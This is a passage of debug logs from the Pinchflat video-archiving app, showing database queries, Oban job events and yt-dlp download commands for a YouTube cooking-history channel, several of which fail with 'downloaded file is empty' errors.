WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12040] 04:49:20.278 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12040] 04:49:20.278 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:49:20.278 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:20.279 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:20.279 [debug] Running yt-dlp command for action: get_downloadable_status 04:49:20.279 [debug] QUERY OK source="settings" db=0.1ms idle=2.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:20.280 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:20.280 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:20.280 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/48/d1/48d184c776e66174bd49b1c8e1aa4374d938b8eaa0de9799340e90ec6b191a61.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:49:23.959 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/48/d1/48d184c776e66174bd49b1c8e1aa4374d938b8eaa0de9799340e90ec6b191a61.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:49:23.959 [debug] Running yt-dlp command for action: download 04:49:23.960 [debug] QUERY OK source="settings" db=0.1ms idle=686.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:23.960 [debug] QUERY OK source="settings" db=0.0ms idle=564.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:23.960 [debug] QUERY OK source="settings" db=0.0ms idle=564.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:49:23.960 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/df/72/df72cb8bd77f1f39a9108c0c8b27d0a976d73c7a09b8da0f9163d0bd8e1b71fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:49:25.647 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=_iGppK9by3Y --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/1e/84/1e845bf32bcc4bf2e1b4b75220ff40a45d444104ba878cdab544dea75d1be383.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:49:25.647 [error] yt-dlp download error for media item #12546: "ERROR: The downloaded file is empty\n" 04:49:25.648 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12546},"id":1728,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":289696294,"event":"job:exception","queue_time":700043,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:49:47.953 [info] {"source":"oban","duration":730,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:00.116 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:50:17.954 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:50:47.955 [info] {"source":"oban","duration":663,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:00.118 [info] {"source":"oban","duration":346,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:51:17.956 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:51:47.957 [info] {"source":"oban","duration":697,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:00.118 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:52:17.959 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:52:47.960 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:00.119 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:53:17.961 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:53:47.962 [info] {"source":"oban","duration":672,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:00.120 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:54:08.332 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=9SvcDeiwXrc --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/df/72/df72cb8bd77f1f39a9108c0c8b27d0a976d73c7a09b8da0f9163d0bd8e1b71fe.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:54:08.332 [error] yt-dlp download error for media item #12040: "ERROR: The downloaded file is empty\n" 04:54:08.333 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12040},"id":1729,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":288057560,"event":"job:exception","queue_time":786114,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:54:17.963 [info] {"source":"oban","duration":1118,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:54:36.616 [info] {"args":{"id":11535},"id":1730,"meta":{},"system_time":1774947276616251056,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:54:36.616 [debug] QUERY OK source="media_items" db=0.2ms idle=1220.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11535] 04:54:36.616 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:54:36.617 [debug] QUERY OK source="sources" db=0.1ms idle=1221.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:54:36.617 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1009.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:54:36.618 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11535] 04:54:36.618 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11535] 04:54:36.618 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:54:36.619 [debug] QUERY OK source="settings" db=0.1ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:36.619 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:36.619 [debug] Running yt-dlp command for action: get_downloadable_status 04:54:36.620 [debug] QUERY OK source="settings" db=0.0ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:36.620 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:36.620 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:36.620 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/6d/346db99c3c764d113fca22177ebf5d4d347544060782754946a59610965e6f7b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:54:40.931 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/34/6d/346db99c3c764d113fca22177ebf5d4d347544060782754946a59610965e6f7b.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:54:40.932 [debug] Running yt-dlp command for action: download 04:54:40.932 [debug] QUERY OK source="settings" db=0.1ms idle=536.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:40.932 [debug] QUERY OK source="settings" db=0.1ms idle=537.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:40.932 [debug] QUERY OK source="settings" db=0.0ms idle=537.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:54:40.933 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bc/f9/bcf96283473ed6c4dc0b3c35702ebe857e1f4a6e903e9c0980876140a9f74df5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:54:47.965 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:00.121 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:55:17.967 [info] {"source":"oban","duration":850,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:55:47.969 [info] {"source":"oban","duration":898,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:00.123 [info] {"source":"oban","duration":251,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:56:17.971 [info] {"source":"oban","duration":668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:56:47.972 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:00.123 [info] {"source":"oban","duration":191,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:57:17.973 [info] {"source":"oban","duration":610,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:57:47.974 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:00.124 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:58:17.975 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:58:47.976 [info] {"source":"oban","duration":619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:00.125 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:59:17.977 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:59:36.541 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=t1O1hcixZDU --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/bc/f9/bcf96283473ed6c4dc0b3c35702ebe857e1f4a6e903e9c0980876140a9f74df5.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 04:59:36.541 [error] yt-dlp download error for media item #11535: "ERROR: The downloaded file is empty\n" 04:59:36.542 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":11535},"id":1730,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":299925739,"event":"job:exception","queue_time":674054,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:59:47.978 [info] {"source":"oban","duration":737,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:00.126 [info] {"source":"oban","duration":196,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:00:17.980 [info] {"source":"oban","duration":714,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:00:47.981 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:00.127 [info] {"source":"oban","duration":223,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:01:17.982 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:01:47.983 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:00.128 [info] {"source":"oban","duration":216,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:02:17.985 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:02:47.986 [info] {"source":"oban","duration":669,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:00.129 [info] {"source":"oban","duration":334,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:03:17.987 [info] {"source":"oban","duration":694,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:03:47.988 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:00.130 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:04:17.990 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:04:47.991 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:00.131 [info] {"source":"oban","duration":171,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:05:17.992 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:05:47.993 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:00.132 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:06:17.994 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:06:47.995 [info] {"source":"oban","duration":649,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:00.133 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:07:17.996 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:07:47.997 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:00.134 [info] {"source":"oban","duration":264,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:08:17.999 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:08:48.000 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:00.135 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:09:18.002 [info] {"source":"oban","duration":723,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:09:48.003 [info] {"source":"oban","duration":814,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:00.136 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:10:18.005 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:10:48.006 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:00.138 [info] {"source":"oban","duration":335,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:11:18.007 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:11:48.008 [info] {"source":"oban","duration":622,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:00.138 [info] {"source":"oban","duration":189,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:12:18.009 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:12:48.010 [info] {"source":"oban","duration":596,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:00.139 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 05:13:18.011 [info] {"source":"oban","duration":553,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:13:48.012 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 05:14:00.140 [info] 